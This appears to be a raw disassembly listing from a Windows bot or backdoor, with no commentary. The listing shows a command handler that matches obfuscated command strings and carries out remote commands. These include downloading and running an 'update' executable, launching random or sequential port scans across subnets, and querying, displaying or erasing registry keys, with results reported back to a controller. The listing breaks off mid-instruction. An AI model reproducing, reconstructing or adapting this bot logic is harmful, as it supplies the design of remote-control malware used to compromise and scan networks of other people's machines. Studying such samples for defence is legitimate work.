"%smsoft%d%d%d%d%d.exe" push eax call sub_422063 mov eax, [ebp+arg_10] mov ecx, [ebp+arg_20] mov [ebp+var_1D64], eax mov eax, [ebp+arg_14] mov [ebp+var_1CB0], eax mov eax, [ebp+arg_18] add esp, 20h mov [ebp+var_1CAC], eax test eax, eax mov [ebp+var_1CB4], ecx lea eax, [ebp+var_1D60] jnz short loc_407BA2 push dword ptr [edi+0Ch] jmp short loc_407BA4 ; --------------------------------------------------------------------------- loc_407BA2: ; CODE XREF: sub_403B2C+406Fj push dword ptr [edi] loc_407BA4: ; CODE XREF: sub_403B2C+4074j push eax call dword_42F04C ; lstrcpyA mov eax, [esi+4] xor ecx, ecx mov [ebp+var_1CDC], eax lea eax, [ebp+var_3EDC] mov [ebp+var_1CD8], eax xor eax, eax cmp [esi+0Ch], eax mov [ebp+var_1CCC], eax mov [ebp+var_1CC8], eax mov [ebp+var_1CD0], 1 setnz cl mov [ebp+var_1CC4], ecx mov esi, [esi+4] lea eax, [ebp+var_3EDC] mov ebx, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." push eax push esi push ebx push offset aSDownloadingUp ; "%s Downloading update to: (%s)" push 0Ch call sub_41BED7 add esp, 14h mov [ebp+var_1CE0], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_1D64] push esi push eax push offset sub_40CDE2 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_1CE0] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_407C8D cmp [ebp+arg_14], 0 mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" jnz short loc_407C6A cmp [ebp+arg_18], 0 jnz short loc_407C74 call dword_42F068 ; RtlGetLastWin32Error push eax push offset aUpdate ; "Update" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_407C6A: ; CODE XREF: sub_403B2C+411Aj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_407C74: ; CODE XREF: sub_403B2C+4120j call dword_42F068 ; RtlGetLastWin32Error push eax loc_407C7B: ; CODE XREF: sub_403B2C+3FD9j push offset aUpdate ; "Update" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_407C85: ; CODE XREF: sub_403B2C+4168j push 32h call dword_42F15C ; Sleep loc_407C8D: ; CODE XREF: sub_403B2C+410Fj cmp [ebp+var_1CA8], 0 jz short loc_407C85 mov esi, offset aSDownloading_0 ; "%s Downloading update" loc_407C9B: ; CODE XREF: sub_403B2C+3F3Fj xor eax, eax cmp [ebp+arg_14], eax jnz loc_407742 cmp [ebp+arg_18], eax jnz loc_40AD9F cmp [ebp+arg_20], eax jz loc_40AF54 jmp loc_407732 ; --------------------------------------------------------------------------- loc_407CBD: ; CODE XREF: sub_403B2C+3F5Ej push dword ptr [esi] push offset aL80reUvcue1 ; "l80re/UvCUe1" call ebx ; dword_42F070 test eax, eax jnz short loc_407D11 cmp [ebp+arg_18], eax mov esi, [esi+4] jnz short loc_407CEC test esi, esi jz short loc_407CDF push esi call sub_422B5A pop ecx jmp short loc_407CE1 ; --------------------------------------------------------------------------- loc_407CDF: ; CODE XREF: sub_403B2C+41A8j xor eax, eax loc_407CE1: ; CODE XREF: sub_403B2C+41B1j push eax push [ebp+arg_20] push 0 push dword ptr [edi+0Ch] jmp short loc_407D04 ; --------------------------------------------------------------------------- loc_407CEC: ; CODE XREF: sub_403B2C+41A4j test esi, esi jz short loc_407CF9 push esi call sub_422B5A pop ecx jmp short loc_407CFB ; --------------------------------------------------------------------------- loc_407CF9: ; CODE XREF: sub_403B2C+41C2j xor eax, eax loc_407CFB: ; CODE XREF: sub_403B2C+41CBj push eax push [ebp+arg_20] push [ebp+arg_18] push dword ptr [edi] loc_407D04: ; CODE XREF: sub_403B2C+41BEj push [ebp+arg_10] call start jmp loc_40A5CD ; --------------------------------------------------------------------------- loc_407D11: ; CODE XREF: sub_403B2C+419Cj push dword ptr [esi] push offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1" call ebx ; dword_42F070 test eax, eax jnz short loc_407D5D mov esi, [esi+4] test esi, esi jz short loc_407D2D push esi call sub_422B5A jmp short loc_407D34 ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_403B2C+41F7j push 8 call sub_41C254 loc_407D34: ; CODE XREF: sub_403B2C+41FFj test eax, eax pop ecx jz loc_40AF54 cmp [ebp+arg_18], 0 push eax jnz short loc_407D4B push 0 push dword ptr [edi+0Ch] jmp short loc_407D50 ; --------------------------------------------------------------------------- loc_407D4B: ; CODE XREF: sub_403B2C+4216j push [ebp+arg_18] push dword ptr [edi] loc_407D50: ; CODE XREF: sub_403B2C+421Dj push [ebp+arg_10] call sub_401408 jmp loc_40ADAB ; --------------------------------------------------------------------------- loc_407D5D: ; CODE XREF: sub_403B2C+41F0j push dword ptr [esi] push offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0" call ebx ; dword_42F070 test eax, eax jnz short loc_407D76 push offset aStopped_ ; "Stopped." push 8 jmp loc_409B7C ; --------------------------------------------------------------------------- loc_407D76: ; CODE XREF: sub_403B2C+423Cj push dword ptr [esi] push offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C." call ebx ; dword_42F070 test eax, eax jnz loc_4082A8 cmp [esi+4], eax jz loc_40AD70 cmp [esi+8], eax jz loc_40AD70 cmp [esi+0Ch], eax jz loc_40AD70 cmp [esi+10h], eax jz loc_40AD70 push 8 call sub_41C235 push dword ptr [esi+8] mov [ebp+arg_C], eax call sub_422B5A add eax, [ebp+arg_C] pop ecx pop ecx cmp eax, 0C9h jg loc_40AF54 push dword ptr [esi+4] call sub_422B5A movzx eax, ax mov [ebp+var_1A8], eax push dword ptr [esi+8] call sub_422B5A mov [ebp+var_190], eax push dword ptr [esi+0Ch] call sub_422B5A add esp, 0Ch cmp eax, 1 mov [ebp+var_1A4], eax jnb short loc_407E0B xor eax, eax inc eax mov [ebp+var_1A4], eax loc_407E0B: ; CODE XREF: sub_403B2C+42D4j push 6 pop ecx cmp eax, ecx jbe short loc_407E18 mov [ebp+var_1A4], ecx loc_407E18: ; CODE XREF: sub_403B2C+42E4j push dword ptr [esi+10h] call sub_422B5A cmp eax, 270Fh pop ecx mov [ebp+var_1A0], eax jbe short loc_407E38 mov [ebp+var_1A0], 270Fh loc_407E38: ; CODE XREF: sub_403B2C+4300j or [ebp+var_18C], 0FFFFFFFFh xor eax, eax cmp dword_432088, eax mov [ebp+arg_C], eax jz short loc_407E8F mov [ebp+arg_4], offset dword_432088 loc_407E53: ; CODE XREF: sub_403B2C+4344j mov eax, [ebp+arg_4] push dword ptr [esi+4] add eax, 0FFFFFFC8h push eax call ebx ; dword_42F070 test eax, eax jz short loc_407E74 add [ebp+arg_4], 48h inc [ebp+arg_C] mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_407E53 jmp short loc_407E8D ; --------------------------------------------------------------------------- loc_407E74: ; CODE XREF: sub_403B2C+4335j mov eax, [ebp+arg_C] mov [ebp+var_18C], eax lea ecx, [eax+eax*8] mov ecx, dword_432088[ecx*8] mov [ebp+var_1A8], ecx loc_407E8D: ; CODE XREF: sub_403B2C+4346j xor eax, eax loc_407E8F: ; CODE XREF: sub_403B2C+431Ej cmp [ebp+var_1A8], eax jnz short loc_407EA6 mov ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1" mov esi, offset aSInvalidPort ; "%s Invalid port" jmp loc_40AD7A ; --------------------------------------------------------------------------- loc_407EA6: ; CODE XREF: sub_403B2C+4369j mov ecx, [esi+14h] cmp ecx, eax jz loc_407F39 push ecx push offset aX_x_x_x ; "x.x.x.x" call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_407F0A call dword_42F164 ; GetTickCount push eax call sub_4220EF pop ecx loc_407ECF: ; CODE XREF: sub_403B2C+43B6j call sub_4220FC cdq mov ecx, 0F0h idiv ecx add edx, 4 cmp edx, 7Fh jz short loc_407ECF push edx push offset aD_x_x_x ; "%d.x.x.x" lea eax, [ebp+var_238] push 10h push eax call sub_42219B add esp, 10h loc_407EFB: ; CODE XREF: sub_403B2C+45C9j ; sub_403B2C+45D1j ... mov [ebp+var_17C], 1 jmp loc_408014 ; --------------------------------------------------------------------------- loc_407F0A: ; CODE XREF: sub_403B2C+4394j push dword ptr [esi+14h] lea eax, [ebp+var_238] push 10h push eax call sub_42219B push 78h push dword ptr [esi+14h] call sub_4233B0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_17C], eax jmp loc_408014 ; --------------------------------------------------------------------------- loc_407F39: ; CODE XREF: sub_403B2C+437Fj cmp [ebp+arg_60], eax jnz short loc_407F71 cmp [ebp+arg_50], eax jnz loc_40805F cmp [ebp+arg_54], eax jnz loc_40805F cmp [ebp+arg_58], eax jnz loc_40805F cmp [ebp+arg_5C], eax jnz loc_40805F mov ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1" mov esi, offset aSNoIpSpecified ; "%s No IP specified." jmp loc_40AD7A ; --------------------------------------------------------------------------- loc_407F71: ; CODE XREF: sub_403B2C+4410j cmp [ebp+arg_50], eax jz short loc_407F7F mov [ebp+arg_C], 1 jmp short loc_407F9D ; --------------------------------------------------------------------------- loc_407F7F: ; CODE XREF: sub_403B2C+4448j cmp [ebp+arg_54], eax jz short loc_407F8D mov [ebp+arg_C], 2 jmp short loc_407F9D ; --------------------------------------------------------------------------- loc_407F8D: ; CODE XREF: sub_403B2C+4456j cmp [ebp+arg_58], eax jz loc_408050 mov [ebp+arg_C], 3 loc_407F9D: ; CODE XREF: sub_403B2C+4451j ; sub_403B2C+445Fj mov esi, offset dword_4552D0 push offset byte_44D6A4 push esi call sub_422760 pop ecx test eax, eax pop ecx jz short loc_407FBE push esi call sub_414173 test eax, eax pop ecx jz short loc_407FE4 loc_407FBE: ; CODE XREF: sub_403B2C+4485j mov ecx, [ebp+arg_10] call sub_41111B mov ecx, [ebp+arg_10] push eax call sub_4105B8 mov ebx, eax push 2710h push ebx call dword_42F064 ; WaitForSingleObject push ebx call dword_42F038 ; CloseHandle loc_407FE4: ; CODE XREF: sub_403B2C+4490j push [ebp+arg_C] mov ebx, [ebp+arg_5C] push ebx push esi call sub_401311 add esp, 0Ch test eax, eax jz loc_40AF54 push 10h push eax lea eax, [ebp+var_238] push eax call sub_4222F0 add esp, 0Ch loc_40800E: ; CODE XREF: sub_403B2C+4592j mov [ebp+var_17C], ebx loc_408014: ; CODE XREF: sub_403B2C+43D9j ; sub_403B2C+4408j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_10] mov [ebp+var_188], eax mov eax, [ebp+arg_20] mov [ebp+var_180], eax mov eax, [ebp+arg_18] mov [ebp+var_184], eax mov [ebp+var_170], ecx test eax, eax lea eax, [ebp+var_228] jz loc_408124 push offset dword_439638 jmp loc_408129 ; --------------------------------------------------------------------------- loc_408050: ; CODE XREF: sub_403B2C+4464j mov ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1" mov esi, offset aSNoSubnetClass ; "%s No subnet class specified." jmp loc_40AD7A ; --------------------------------------------------------------------------- loc_40805F: ; CODE XREF: sub_403B2C+4415j ; sub_403B2C+441Ej ... mov ecx, [ebp+arg_10] push 10h pop esi lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_3C] push eax mov [ebp+var_2C], esi call sub_41112B push eax call dword_4542A8 ; getsockname xor ebx, ebx cmp [ebp+arg_50], ebx jz short loc_40808C and [ebp+var_38], 0FFh jmp short loc_4080A1 ; --------------------------------------------------------------------------- loc_40808C: ; CODE XREF: sub_403B2C+4555j cmp [ebp+arg_54], ebx jz short loc_408098 and word ptr [ebp+var_38+2], 0 jmp short loc_4080A1 ; --------------------------------------------------------------------------- loc_408098: ; CODE XREF: sub_403B2C+4563j cmp [ebp+arg_58], ebx jz short loc_4080A1 and byte ptr [ebp+var_38+3], 0 loc_4080A1: ; CODE XREF: sub_403B2C+455Ej ; sub_403B2C+456Aj ... push esi push [ebp+var_38] call dword_45439C ; inet_ntoa push eax lea eax, [ebp+var_238] push eax call sub_4222F0 add esp, 0Ch cmp [ebp+arg_5C], ebx jz loc_40800E xor esi, esi cmp [ebp+arg_50], ebx jz short loc_4080D0 push 3 loc_4080CD: ; CODE XREF: sub_403B2C+45ABj pop esi jmp short loc_4080E1 ; --------------------------------------------------------------------------- loc_4080D0: ; CODE XREF: sub_403B2C+459Dj cmp [ebp+arg_54], ebx jz short loc_4080D9 push 2 jmp short loc_4080CD ; --------------------------------------------------------------------------- loc_4080D9: ; CODE XREF: sub_403B2C+45A7j cmp [ebp+arg_58], ebx jz short loc_4080E1 xor esi, esi inc esi loc_4080E1: ; CODE XREF: sub_403B2C+45A2j ; sub_403B2C+45B0j lea eax, [ebp+var_238] push 30h push eax call sub_4234F0 pop ecx xor bl, bl test esi, esi pop ecx jle loc_407EFB loc_4080FB: ; CODE XREF: sub_403B2C+45F1j test eax, eax jz loc_407EFB mov byte ptr [eax], 78h lea eax, [ebp+var_238] push 30h push eax call sub_4234F0 pop ecx inc bl pop ecx movsx ecx, bl cmp ecx, esi jl short loc_4080FB jmp loc_407EFB ; --------------------------------------------------------------------------- loc_408124: ; CODE XREF: sub_403B2C+4514j push offset dword_439644 loc_408129: ; CODE XREF: sub_403B2C+451Fj push eax call dword_42F04C ; lstrcpyA cmp [ebp+var_17C], 0 mov eax, offset aRandom ; "Random" jnz short loc_408143 mov eax, offset aSequential ; "Sequential" loc_408143: ; CODE XREF: sub_403B2C+4610j push [ebp+var_190] lea ecx, [ebp+var_238] mov ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1" mov esi, offset aSSPortscanStar ; "%s %s PortScan started on %s:%d with a "... push [ebp+var_1A0] push [ebp+var_1A4] push [ebp+var_1A8] push ecx push eax push ebx push esi push 8 call sub_41BED7 add esp, 24h mov [ebp+var_19C], eax lea eax, [ebp+arg_6C] lea ecx, [ebp+var_238] push eax xor eax, eax push eax push ecx push offset sub_40178D push eax push eax call dword_42F158 ; CreateThread mov ecx, [ebp+var_19C] imul ecx, 1018h test eax, eax mov dword_46D414[ecx], eax jnz short loc_4081F7 cmp [ebp+arg_14], eax mov esi, dword_42F068 jnz short loc_4081D7 cmp [ebp+arg_18], eax jnz short loc_4081E1 call esi ; dword_42F068 push eax push ebx push offset aSFailedToSta_0 ; "%s Failed to start scan thread, error: "... push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_4081D7: ; CODE XREF: sub_403B2C+468Dj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4081E1: ; CODE XREF: sub_403B2C+4692j call esi ; dword_42F068 push eax push ebx push offset aSFailedToSta_0 ; "%s Failed to start scan thread, error: "... jmp loc_40A5C3 ; --------------------------------------------------------------------------- loc_4081EF: ; CODE XREF: sub_403B2C+46D2j push 32h call dword_42F15C ; Sleep loc_4081F7: ; CODE XREF: sub_403B2C+4682j cmp [ebp+var_178], 0 jz short loc_4081EF xor eax, eax cmp [ebp+arg_14], eax jnz short loc_408257 cmp [ebp+arg_18], eax jnz short loc_408261 cmp [ebp+arg_1C], eax jnz loc_40AF54 cmp [ebp+var_17C], eax mov eax, offset aRandom ; "Random" jnz short loc_408227 mov eax, offset aSequential ; "Sequential" loc_408227: ; CODE XREF: sub_403B2C+46F4j push [ebp+var_190] lea ecx, [ebp+var_238] push [ebp+var_1A0] push [ebp+var_1A4] push [ebp+var_1A8] push ecx push eax push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 28h loc_408257: ; CODE XREF: sub_403B2C+46D9j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_408261: ; CODE XREF: sub_403B2C+46DEj cmp [ebp+var_17C], 0 mov eax, offset aRandom ; "Random" jnz short loc_408274 mov eax, offset aSequential ; "Sequential" loc_408274: ; CODE XREF: sub_403B2C+4741j push [ebp+var_190] lea ecx, [ebp+var_238] push [ebp+var_1A0] push [ebp+var_1A4] push [ebp+var_1A8] push ecx push eax push ebx push esi push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 28h jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_4082A8: ; CODE XREF: sub_403B2C+4255j push dword ptr [esi] push offset a7tmte_meccn ; "7Tmte.MEccn/" call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aWn7_tNza2v ; "wN7.t/nZA2V/" call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aGkyv90skypy ; "gkYv90Skypy/" call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aX2yn5_2imz1 ; "X2yN5/.2ImZ1" call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aNPbw1sdkiw_ ; "N/pbW1sDKiw." call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aFdxpb0leh21_ ; "fDxPB0lEh21." call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0" call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aUts3o_rfmks_ ; "uts3o.RfmkS." call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aBpyvp_fw0vy1 ; "bPYVP.Fw0vY1" call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aQxqog1goyq80 ; "QXqOg1gOYq80" call ebx ; dword_42F070 test eax, eax jz loc_40A5F7 push dword ptr [esi] push offset aZjiqo07c20 ; "ZjIqO/07c2/0" call ebx ; dword_42F070 test eax, eax jnz loc_408AF5 mov eax, [esi+4] xor ecx, ecx cmp eax, ecx jz loc_408AC3 cmp [esi+8], ecx jz loc_408AC3 cmp [esi+0Ch], ecx jz loc_408AC3 push eax push offset aEavyh_ic0dc0_0 ; "eAvYh.IC0dc0" call ebx ; dword_42F070 test eax, eax jnz loc_40852E push dword ptr [esi+8] call sub_41A292 push dword ptr [esi+10h] mov [ebp+arg_0], eax mov eax, [esi+0Ch] mov [ebp+arg_8], eax lea eax, [ebp+var_1314] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 10h push 5 pop ebx cmp [ebp+arg_4], ebx jle short loc_4083FC loc_4083C2: ; CODE XREF: sub_403B2C+48CEj mov eax, [esi+ebx*4] test eax, eax jz short loc_4083F6 push eax lea eax, [ebp+var_1BCAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_1BCAC] push 104h push eax lea eax, [ebp+var_1314] push eax call sub_421F40 add esp, 18h loc_4083F6: ; CODE XREF: sub_403B2C+489Bj inc ebx cmp ebx, [ebp+arg_4] jl short loc_4083C2 loc_4083FC: ; CODE XREF: sub_403B2C+4894j mov al, [ebp+arg_34] mov byte ptr [ebp+arg_C+3], 5Fh test al, al jz short loc_40840A mov byte ptr [ebp+arg_C+3], al loc_40840A: ; CODE XREF: sub_403B2C+48D9j cmp [ebp+arg_30], 0 jz short loc_408472 push [ebp+arg_8] xor ebx, ebx call sub_422120 test eax, eax pop ecx jbe short loc_40843C loc_40841F: ; CODE XREF: sub_403B2C+490Ej mov eax, [ebp+arg_8] mov cl, byte ptr [ebp+arg_C+3] add eax, ebx cmp [eax], cl jnz short loc_40842E mov byte ptr [eax], 20h loc_40842E: ; CODE XREF: sub_403B2C+48FDj push [ebp+arg_8] inc ebx call sub_422120 cmp ebx, eax pop ecx jb short loc_40841F loc_40843C: ; CODE XREF: sub_403B2C+48F1j lea eax, [ebp+var_1314] xor ebx, ebx push eax call sub_422120 test eax, eax pop ecx jbe short loc_408472 loc_40844F: ; CODE XREF: sub_403B2C+4944j mov cl, byte ptr [ebp+arg_C+3] lea eax, [ebp+ebx+var_1314] cmp [eax], cl jnz short loc_408460 mov byte ptr [eax], 20h loc_408460: ; CODE XREF: sub_403B2C+492Fj lea eax, [ebp+var_1314] inc ebx push eax call sub_422120 cmp ebx, eax pop ecx jb short loc_40844F loc_408472: ; CODE XREF: sub_403B2C+48E2j ; sub_403B2C+4921j lea eax, [ebp+var_1314] push eax push [ebp+arg_8] push [ebp+arg_0] call sub_41A454 add esp, 0Ch mov ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." test eax, eax jz short loc_4084DF cmp [ebp+arg_14], 0 jnz short loc_4084BD cmp [ebp+arg_18], 0 jnz short loc_4084C7 lea eax, [ebp+var_1314] push eax push [ebp+arg_8] push dword ptr [esi+8] push ebx push offset aSErasedKeySSS ; "%s Erased Key: %s\\%s\\%s" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_4084BD: ; CODE XREF: sub_403B2C+4968j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4084C7: ; CODE XREF: sub_403B2C+496Ej lea eax, [ebp+var_1314] push eax push [ebp+arg_8] push dword ptr [esi+8] push ebx push offset aSErasedKeySSS ; "%s Erased Key: %s\\%s\\%s" jmp loc_404F2E ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: sub_403B2C+4962j cmp [ebp+arg_14], 0 jnz short loc_40850C cmp [ebp+arg_18], 0 jnz short loc_408516 lea eax, [ebp+var_1314] push eax push [ebp+arg_8] push dword ptr [esi+8] push ebx push offset aSFailedToErase ; "%s Failed to erase key: %s\\%s\\%s" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_40850C: ; CODE XREF: sub_403B2C+49B7j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_408516: ; CODE XREF: sub_403B2C+49BDj lea eax, [ebp+var_1314] push eax push [ebp+arg_8] push dword ptr [esi+8] push ebx push offset aSFailedToErase ; "%s Failed to erase key: %s\\%s\\%s" jmp loc_404F2E ; --------------------------------------------------------------------------- loc_40852E: ; CODE XREF: sub_403B2C+4860j push dword ptr [esi+4] push offset aA4pllAqpbg_ ; "a4pll/aQpBg." call ebx ; dword_42F070 test eax, eax jnz loc_40882B cmp [esi+10h], eax push dword ptr [esi+8] jnz short loc_408598 call sub_41A292 mov ebx, [ebp+arg_10] mov ecx, [esi+0Ch] push ebx push dword ptr [edi+0Ch] push ecx push eax call sub_41A60E add esp, 14h push dword ptr [esi+0Ch] test eax, eax push dword ptr [esi+8] push offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." jz short loc_408577 push offset aSDoneWithQuery ; "%s Done with query: %s\\%s" jmp short loc_40857C ; --------------------------------------------------------------------------- loc_408577: ; CODE XREF: sub_403B2C+4A42j push offset aSFailedToQuery ; "%s Failed to query: %s\\%s" loc_40857C: ; CODE XREF: sub_403B2C+4A49j cmp [ebp+arg_18], 0 jnz short loc_408590 push dword ptr [edi+0Ch] push ebx call sub_4104F6 jmp loc_40AF51 ; --------------------------------------------------------------------------- loc_408590: ; CODE XREF: sub_403B2C+4A54j push dword ptr [edi] push ebx jmp loc_40AF4C ; --------------------------------------------------------------------------- loc_408598: ; CODE XREF: sub_403B2C+4A1Aj call sub_41A370 push dword ptr [esi+0Ch] mov [ebp+arg_8], eax call sub_41A292 mov ebx, [esi+10h] mov [ebp+var_4], eax mov al, [ebp+arg_34] pop ecx test al, al pop ecx mov [ebp+arg_0], ebx mov byte ptr [ebp+arg_C+3], 5Fh jz short loc_4085C1 mov byte ptr [ebp+arg_C+3], al loc_4085C1: ; CODE XREF: sub_403B2C+4A90j cmp [ebp+arg_30], 0 jz short loc_4085F4 and [ebp+arg_4], 0 push ebx call sub_422120 test eax, eax pop ecx jbe short loc_4085F4 loc_4085D6: ; CODE XREF: sub_403B2C+4AC6j mov eax, [ebp+arg_4] mov cl, byte ptr [ebp+arg_C+3] add eax, ebx cmp [eax], cl jnz short loc_4085E5 mov byte ptr [eax], 20h loc_4085E5: ; CODE XREF: sub_403B2C+4AB4j inc [ebp+arg_4] push ebx call sub_422120 cmp [ebp+arg_4], eax pop ecx jb short loc_4085D6 loc_4085F4: ; CODE XREF: sub_403B2C+4A99j ; sub_403B2C+4AA8j mov ebx, [esi+14h] test ebx, ebx jz loc_40AF54 cmp [ebp+arg_30], 0 jz short loc_408632 and [ebp+arg_4], 0 push ebx call sub_422120 test eax, eax pop ecx jbe short loc_408632 loc_408614: ; CODE XREF: sub_403B2C+4B04j mov eax, [ebp+arg_4] mov cl, byte ptr [ebp+arg_C+3] add eax, ebx cmp [eax], cl jnz short loc_408623 mov byte ptr [eax], 20h loc_408623: ; CODE XREF: sub_403B2C+4AF2j inc [ebp+arg_4] push ebx call sub_422120 cmp [ebp+arg_4], eax pop ecx jb short loc_408614 loc_408632: ; CODE XREF: sub_403B2C+4AD7j ; sub_403B2C+4AE6j mov eax, [ebp+arg_8] cmp eax, 1 jz short loc_4086B2 cmp eax, 7 jz short loc_4086B2 cmp eax, 2 jz short loc_4086B2 cmp eax, 4 jnz loc_40AF54 lea eax, [ebp+var_24] and [ebp+var_24], 0 push eax push ebx push [ebp+arg_0] push [ebp+var_4] call sub_41A7B3 add esp, 10h cmp [ebp+var_24], 0 jz short loc_408690 push eax push dword ptr [esi+14h] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." push offset aSQuerySSSD ; "%s Query: %s\\%s\\%s: %d" loc_40867E: ; CODE XREF: sub_403B2C+4CCAj cmp [ebp+arg_18], 0 jnz loc_408A5B push dword ptr [edi+0Ch] jmp loc_403F6A ; --------------------------------------------------------------------------- loc_408690: ; CODE XREF: sub_403B2C+4B3Cj push dword ptr [esi+14h] cmp [ebp+arg_18], 0 push dword ptr [esi+10h] push dword ptr [esi+0Ch] push offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." push offset aSFailedToQue_0 ; "%s Failed to query: %s\\%s\\%s" jnz loc_408818 jmp loc_404F2E ; --------------------------------------------------------------------------- loc_4086B2: ; CODE XREF: sub_403B2C+4B0Cj ; sub_403B2C+4B11j ... push [ebp+arg_8] push ebx push [ebp+arg_0] push [ebp+var_4] call sub_41A829 add esp, 10h mov [ebp+arg_C], eax test eax, eax jz loc_4087FB cmp [ebp+arg_8], 7 jnz loc_4087E2 cmp [ebp+arg_14], 0 mov ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." jnz short loc_408707 cmp [ebp+arg_18], 0 jnz short loc_40870D push dword ptr [esi+14h] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push ebx push offset aSDisplayingSSS ; "%s Displaying: %s\\%s\\%s" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_408707: ; CODE XREF: sub_403B2C+4BB6j cmp [ebp+arg_18], 0 jz short loc_408729 loc_40870D: ; CODE XREF: sub_403B2C+4BBCj push dword ptr [esi+14h] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push ebx push offset aSDisplayingSSS ; "%s Displaying: %s\\%s\\%s" push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 1Ch loc_408729: ; CODE XREF: sub_403B2C+4BDFj push offset asc_433F80 ; "\n" push [ebp+arg_C] jmp short loc_408766 ; --------------------------------------------------------------------------- loc_408733: ; CODE XREF: sub_403B2C+4C4Ej mov eax, [ebp+arg_4] and byte ptr [eax], 0 cmp [ebp+arg_18], 0 jnz short loc_40874C push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 jmp short loc_408756 ; --------------------------------------------------------------------------- loc_40874C: ; CODE XREF: sub_403B2C+4C11j push dword ptr [edi] push [ebp+arg_10] call sub_410491 loc_408756: ; CODE XREF: sub_403B2C+4C1Ej mov eax, [ebp+arg_4] add esp, 10h inc eax push offset asc_433F80 ; "\n" mov [ebp+arg_C], eax push eax loc_408766: ; CODE XREF: sub_403B2C+4C05j call sub_4235C0 pop ecx mov [ebp+arg_4], eax pop ecx push [ebp+arg_C] test eax, eax push offset aS_1 ; "%s" jnz short loc_408733 cmp [ebp+arg_18], eax jnz short loc_40878E push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 jmp short loc_408798 ; --------------------------------------------------------------------------- loc_40878E: ; CODE XREF: sub_403B2C+4C53j push dword ptr [edi] push [ebp+arg_10] call sub_410491 loc_408798: ; CODE XREF: sub_403B2C+4C60j add esp, 10h cmp [ebp+arg_14], 0 jnz short loc_4087C4 cmp [ebp+arg_18], 0 jnz short loc_4087CE push dword ptr [esi+14h] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push ebx push offset aSFinishedDispl ; "%s Finished displaying: %s\\%s\\%s" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_4087C4: ; CODE XREF: sub_403B2C+4C73j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4087CE: ; CODE XREF: sub_403B2C+4C79j push dword ptr [esi+14h] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push ebx push offset aSFinishedDispl ; "%s Finished displaying: %s\\%s\\%s" jmp loc_404F2E ; --------------------------------------------------------------------------- loc_4087E2: ; CODE XREF: sub_403B2C+4BA7j push eax push dword ptr [esi+14h] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." push offset aSQuerySSSS ; "%s Query: %s\\%s\\%s: %s" jmp loc_40867E ; --------------------------------------------------------------------------- loc_4087FB: ; CODE XREF: sub_403B2C+4B9Dj push dword ptr [esi+14h] cmp [ebp+arg_18], 0 push dword ptr [esi+10h] push dword ptr [esi+0Ch] push offset 